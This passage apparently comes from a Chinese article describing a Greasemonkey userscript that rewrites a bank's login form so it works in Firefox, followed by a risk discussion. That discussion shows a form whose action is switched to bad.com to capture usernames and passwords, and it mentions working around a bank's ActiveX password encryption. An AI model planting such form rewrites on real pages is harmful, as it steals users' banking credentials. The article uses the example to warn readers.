1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name JiaoHang Assist
4.// @description JiaoHang Assist
5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp
6.// ==/UserScript==
7.var addformhead=document.getElementsByTagName('td')[31];
8.alertMessage='This page was modified by Greasemonkey extension./nThe extension use a user defined JavaScript./nThe Content of JavaScript is not related with Greasemonkey./nBe care to use this./nPlease input Card Number on "Card Number"/nPlease input your password on "PassWord"/nPlease Input adding code below "Picture Code"/nCopyright: GPL V2 /nAuthor: maluyao at 163.com/nKnow Bugs: /n Can not logout/n JIE JI Card Only/n' ;
9.addformhead.innerHTML='<form id="frmLogon" name="frmLogon" method="post" action=Bank >' +
10. '/n <input type="hidden" name="netType" value="0"/> '+
11. '/n <input type="hidden" name="language" value="zh_CN"/> '+
12. '/n <input type="hidden" name="userType" value="02"/> '+
13. '/nCard Number<input name="cardNo" type="text" maxLength="17" > '+
14. '/n<br>/nPassWord<input type="password" id="password" name="password" > ' +
15. '/n<br>Picture Code<input name="reqCode" type="text" maxLength="6" size="10" >' +
16. '/n <input type="hidden" name="cardType" value="0" /> '+
17.
18. '</form>'+
19. '<a href="javascript:document.getElementById(/'frmLogon/').submit()"><img src="/personbank/images/but-denglu.gif"></a>';
20.alert(alertMessage); 第8行和第18行定义和显示了一个对话框,内容是对使用本脚本的客户机的一个警告信息,不是必要的。第9-19行中我们增加了一个新的表单,能够提交正确的数据。 虽然界面目前被改的很丑陋,但能够工作。输入正确的数据后,可以进入网上银行,查看自己帐号的情况。
风险分析
从上面的例子里可以看出,Firefox的扩展功能十分的强大。可以直接对页面进行修改。但这里也存在相当大的风险。
比如如果某页面存在一个表单,定义如下:
CODE:
[Copy to clipboard]1.<form method=post action="http://good.com/cgi-bin/test.pl">
2.用户名:<input id="username" name=username type=text ><br>
3.密 码:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form> 这段内容原本会将数据提交到good.com上的test.pl处理,但如果恶意代码将其改为:
CODE:
[Copy to clipboard]1.<form method=post action="http://bad.com/cgi-bin/test.pl">
2.用户名:<input id="username" name=username type=text ><br>
3.密 码:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form> 这会导致原本应该发送给good.com的数据被发送给bad.com。风险极大。
招商银行
相比于上面两个银行,招商银行的难度要高一些。招商银行使用的ActiveX控件,能够使得卡号和密码在提交前就被ActiveX所加密,密文具有一定的随机性。然后再提交数据。笔者认为这并不是必要的,但毫无疑问,这种机制加大了我工作的难度。
如果能分析出这个加密算法并用JavaScript实现,招商银行的问题也就解决了。从密码学的原理来说,已知明文和密文,分析出算法并不是件非常困难的事情。但这需要时间。这个问题的详细内容,请参考: http://bbs.chinaunix.net/viewthread.php?tid=749579&extra=page%3D2 。
目前笔者还没有分析出算法,但使用某种技巧,笔者能针对任意帐号和密码在自己的电脑上生成密文。这样虽然未知加密算法。但可以先得到自己帐号密码的密文内容,然后通过修改网页的方式提交出去。当然,这种方式暂时只能自学自用,不便公开。事实上,因为招行的网站有很多”桢“(Frame)。修改起来过于麻烦。目前的计划是不久以后注销掉招商银行的帐号。
据说工商银行的ActiveX也有类似的机制,因为没有工行帐号,就不准备进一步研究了。但相信也可以通过和招商银行类似的方式解决。
风险提示和后记
对于一般的用户,特别要注意不要安装来路不明的扩展和脚本,这其中的风险几乎相当于自己给自己安装一个木马。因为除了JavaScript语言开发以外,Firefox的扩展还可以使用Java、C/C++等语言开发,能够实现非常底层的功能,甚至格式化你的硬盘。
感谢笔者现在的雇主—
北大青鸟(北京华源)授权培训中心,没有给安排给我太多的工作任务,使得能够有足够的时间和精力,深入研究自由软件的各种技术,回报自由软件社区。